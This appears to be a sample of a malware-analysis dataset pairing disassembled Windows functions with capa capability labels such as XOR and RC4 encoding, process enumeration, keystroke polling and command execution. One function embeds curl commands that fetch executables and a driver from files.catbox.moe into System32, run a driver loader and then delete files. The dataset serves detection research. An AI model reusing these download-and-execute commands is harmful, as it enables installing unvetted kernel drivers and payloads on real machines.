joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001c640
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000e0d4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001c6ca
cmp byte [rbp - 0x21], r15b
je 0x14001c6c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001c700
call fcn.140013bc8
test eax, eax
jne 0x14001c6ec
cmp byte [rbp - 0x21], r15b
je 0x14001c6e4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001c700
cmp byte [rbp - 0x21], r15b
je 0x14001c6fd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000ddd0
test eax, eax
jne 0x14001c7a0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000e0d4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001c73f
cmp byte [rbp - 0x21], r15b
je 0x14001c774
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001c774
call fcn.140013bc8
test eax, eax
jne 0x14001c760
cmp byte [rbp - 0x21], r15b
je 0x14001c759
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001c774
cmp byte [rbp - 0x21], r15b
je 0x14001c771
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000ddd0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001c7a0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001c7a3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001c7b1
mov rcx, rdi
call fcn.140012b4c
cmp byte [rbp + 0x3f], r15b
je 0x14001c7c0
mov rcx, qword [rbp + 0x27]
call fcn.140012b4c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x14001e350
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001e378
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001e378
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14001ea50
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbx
push r14
sub rsp, 0x248
mov qword [rax + 0x10], rsi
mov ebx, r8d
mov qword [rax + 0x18], rdi
mov rdi, qword [rsp + 0x288]
mov qword [rax - 0x18], r12
mov r12, rdx
mov rdx, rcx
mov qword [rax - 0x28], r15
lea rcx, [rsp + 0x20]
mov r15, r9
call fcn.140021fd0
mov r14, qword [rsp + 0x280]
xor esi, esi
mov dword [r14], ebx
test ebx, ebx
jle 0x14001eb46
mov qword [rsp + 0x260], rbp
mov rbp, r12
mov qword [rsp + 0x238], r13
lea r13, [rdi + 0xf]
nop word [rax + rax]
movsxd rax, esi
lea rcx, [rsp + 0x20]
lea rbx, [rax + r15]
mov r8, rbx
lea rdx, [rax + r12]
call fcn.140021030
lea rax, [rbx + 0xf]
cmp rbx, r13
ja 0x14001eb12
cmp rax, rdi
jb 0x14001eb12
mov rdx, rdi
mov ecx, 0x10
sub rdx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx + rbx]
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rcx, 1
jne 0x14001eb00
jmp 0x14001eb21
movdqu xmm1, xmmword [rbx]
movdqu xmm0, xmmword [rdi]
xorps xmm1, xmm0
movdqu xmmword [rbx], xmm1
movups xmm0, xmmword [rbp]
add esi, 0x10
add rbp, 0x10
movups xmmword [rdi], xmm0
mov ebx, dword [r14]
cmp esi, ebx
jl 0x14001eac0
mov r13, qword [rsp + 0x238]
mov rbp, qword [rsp + 0x260]
mov r12, qword [rsp + 0x240]
dec r15
mov rdi, qword [rsp + 0x270]
mov rsi, qword [rsp + 0x268]
movsxd rcx, ebx
add rcx, r15
mov r15, qword [rsp + 0x230]
cmp byte [rcx], 0xee
jne 0x14001eb8e
nop dword [rax]
nop dword [rax + rax]
dec ebx
lea rcx, [rcx - 1]
mov dword [r14], ebx
cmp byte [rcx], 0xee
je 0x14001eb80
add rsp, 0x248
pop r14
pop rbx
ret
Function at 0x14001eba0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 0x240
mov rdi, qword [rsp + 0x298]
mov r15, rdx
mov eax, r8d
mov r10, rcx
cdq
mov r13, r9
and edx, 0xf
mov r12d, r8d
add eax, edx
mov ecx, r8d
mov ebx, eax
and eax, 0xf
and ebx, 0xfffffff0
cmp eax, edx
je 0x14001ebe3
lea ecx, [rbx + 0x10]
mov rax, qword [rsp + 0x290]
sub r12d, ebx
mov rdx, r10
mov qword [rsp + 0x278], r14
mov dword [rsp + 0x280], r12d
mov dword [rax], ecx
lea rcx, [rsp + 0x30]
call fcn.140021fd0
xor esi, esi
movsxd rax, ebx
lea r14, [rdi + 0xf]
lea ebx, [rsi + 0x10]
test rax, rax
jle 0x14001ecb7
mov qword [rsp + 0x270], rbp
mov r12, rax
mov ebp, esi
nop
movsxd r9, esi
mov rax, rdi
lea rdx, [r9 + r15]
lea rcx, [rdx + 0xf]
cmp rdi, rcx
ja 0x14001ec73
cmp r14, rdx
jb 0x14001ec73
mov r8, r9
mov rdx, rbx
sub r8, rdi
add r8, r15
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x14001ec60
jmp 0x14001ec82
movdqu xmm0, xmmword [rdi]
movdqu xmm1, xmmword [rdx]
xorps xmm1, xmm0
movdqu xmmword [rdi], xmm1
lea r8, [r9 + r13]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140022450
movups xmm0, xmmword [rbp + r13]
add rbp, 0x10
add esi, ebx
movups xmmword [rdi], xmm0
cmp rbp, r12
jl 0x14001ec30
mov rbp, qword [rsp + 0x270]
mov r12d, dword [rsp + 0x280]
test r12d, r12d
jle 0x14001ed3d
movdqa xmm0, xmmword [0x1400341b0]
lea rcx, [rsp + 0x20]
movsxd rsi, esi
movsxd r8, r12d
movups xmmword [rsp + 0x20], xmm0
lea rdx, [rsi + r15]
call fcn.140029510
lea rax, [rsp + 0x2f]
mov rcx, rdi
cmp rdi, rax
ja 0x14001ed12
lea rax, [rsp + 0x20]
cmp r14, rax
jb 0x14001ed12
lea rdx, [rsp + 0x20]
sub rdx, rdi
movzx eax, byte [rdx + rcx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rbx, 1
jne 0x14001ed00
jmp 0x14001ed23
movdqu xmm1, xmmword [rdi]
movdqu xmm0, xmmword [rsp + 0x20]
xorps xmm1, xmm0
movdqu xmmword [rdi], xmm1
lea rbx, [rsi + r13]
mov rdx, rdi
mov r8, rbx
lea rcx, [rsp + 0x30]
call fcn.140022450
movups xmm0, xmmword [rbx]
movups xmmword [rdi], xmm0
mov r14, qword [rsp + 0x278]
mov rbx, qword [rsp + 0x288]
add rsp, 0x240
pop r15
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1400277a0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 8], rcx
push r12
push r14
push r15
sub rsp, 0x60
mov r15, rdx
mov edx, 0x68
xor ecx, ecx
lea r8d, [rdx - 0x66]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov eax, 0x4d42
mov word [rsp + 0x40], ax
lea ecx, [rdi + 0xe]
mov dword [rsp + 0x42], ecx
mov dword [rsp + 0x4a], 0x36
mov word [rsp + 0x48], r12w
mov word [rsp + 0x46], r12w
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x80]
lea r8d, [r12 + 0xe]
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x80]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
nop
mov eax, 1
jmp 0x1400278a8
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x140004980
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140004a00
cmp r11, r10
ja 0x140004a77
cmp r10, rdx
ja 0x140004a89
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140004a02
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x1400049e0
jmp 0x140004a64
ja 0x140004a0a
mov r11, r10
cmp rax, r8
jne 0x1400049ae
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140004a40
mov rdi, r8
sub ecx, edx
jns 0x140004a5b
jmp 0x140004a66
cmp r8, rsi
je 0x140004a98
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140004a66
xor al, 1
cmp rdi, rsi
jne 0x140004a20
jmp 0x140004a66
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140015ad0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140015930
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140015bd0
int3

Function at 0x140008e90
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x140008eb5
cmp rax, rcx
je 0x140008ebb
cmp rdx, 4
jae 0x140008ec2
xor eax, eax
xor r8d, r8d
jmp 0x140008f60
pop rbp
jmp fcn.140001ef0
xor eax, eax
jmp 0x140008f77
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x140017360]
movdqa xmm3, xmmword [0x140017370]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140008ef0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140008f77
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140008f60
pop rbp
ret
Function at 0x140010620
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
movzx eax, byte [rdx + 0x3a]
cmp al, byte [rax + r8*8 - 0x3f6af0bf]

Function at 0x140015424
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001546e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001546e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001546e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001546e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001546e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140015470
xor al, al
add rsp, 0x28
ret
Function at 0x14000bb10
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000bb9f
mov rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000bb8c
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
mov dword [0x14095fca0], eax
mov eax, dword [rsp + 0x38]
jmp 0x14000bbac
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000bb5a
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400f29d0
add rsp, 0x288
ret
Function at 0x140012950
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.14000c040
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140012ef0
nop
lea rax, [0x140012540]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.140003810
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x1400129fe
lea rcx, [rsp + 0x40]
call fcn.140016800
nop
jmp 0x140012a15
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.140014010
nop
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400f29d0
add rsp, 0x58
ret
Function at 0x140014ba0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x140014bdd
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140014be4
mov al, 1
jmp 0x140014d3c
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14000adb0
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14000adb0
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
call fcn.14000adc0
movzx eax, al
test eax, eax
je 0x140014c39
xor al, al
jmp 0x140014d3c
mov qword [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140014ca9
cmp dword [rsp + 0x30], 1
je 0x140014cb5
cmp dword [rsp + 0x30], 3
je 0x140014d2a
jmp 0x140014d3a
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140014d01
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x140014d01
xor al, al
jmp 0x140014d3c
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140014d1b
mov dword [rsp + 0x34], 1
jmp 0x140014d23
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x140014d3c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140014d3c
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400f29d0
add rsp, 0xa8
ret

Function at 0x140015dc0
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x38
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140015de0
mov byte [rsp + 0x20], 1
jmp 0x140015de5
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140015e20
Capabilities:
Delete file
Execute command

Disassembly:
sub rsp, 0x88
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov ecx, Ordinal_79
call fcn.1400149b0
lea rcx, str.color_c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rdx, str._n_Driver_not_loadedd_n
lea rcx, [rsp + 0x20]
call fcn.1400042b0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x20]
call fcn.140016b60
nop
lea rcx, [rsp + 0x20]
call fcn.1400048e0
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov ecx, Ordinal_79
call fcn.1400149b0
nop
lea rdx, str._n_Loading_driver..._n
lea rcx, [rsp + 0x40]
call fcn.1400042b0
nop
mov edx, Ordinal_26
lea rcx, [rsp + 0x40]
call fcn.140016b60
nop
lea rcx, [rsp + 0x40]
call fcn.1400048e0
nop
lea rcx, str.curl___silent_https:__files.catbox.moe_i7z05r.bin___output_C:WindowsSystem32dload.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_7n78yq.sys___output_C:WindowsSystem32drv.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_bv0es5.wav___output_C:Windows_audio.wav__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32dload.exe_C:WindowsSystem32drv.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, str._n_n_n____loaded_driver
lea rcx, [rsp + 0x60]
call fcn.1400042b0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x60]
call fcn.140016b60
nop
lea rcx, [rsp + 0x60]
call fcn.1400048e0
nop
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32mappa.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32d.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400f98e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
add rsp, 0x88
ret
Function at 0x140016220
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rdx, str.start
lea rcx, [rsp + 0x30]
call fcn.1400042b0
nop
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400147b0
lea rcx, [rsp + 0x30]
call fcn.140008e30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1400162af
lea rdx, str.Failed_to_open_URL:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002bd0
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.140002bd0
mov qword [rsp + 0x28], rax
lea rdx, [0x140012df0]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x30]
call fcn.1400048e0
nop
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400f29d0
add rsp, 0x68
ret
Function at 0x140017160
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14095ee80]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x140017194
xor eax, eax
jmp 0x140017391
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x1400171c6
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140017391
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140017278
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140003ff0
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.140008e70
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
nop
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x140017381
mov rcx, qword [rsp + 0x80]
call fcn.1400150c0
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x14001732e
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140017329
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x140017391
jmp 0x1400172a4
cmp qword [rsp + 0x50], 0
jbe 0x140017381
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400f29d0
add rsp, 0x78
ret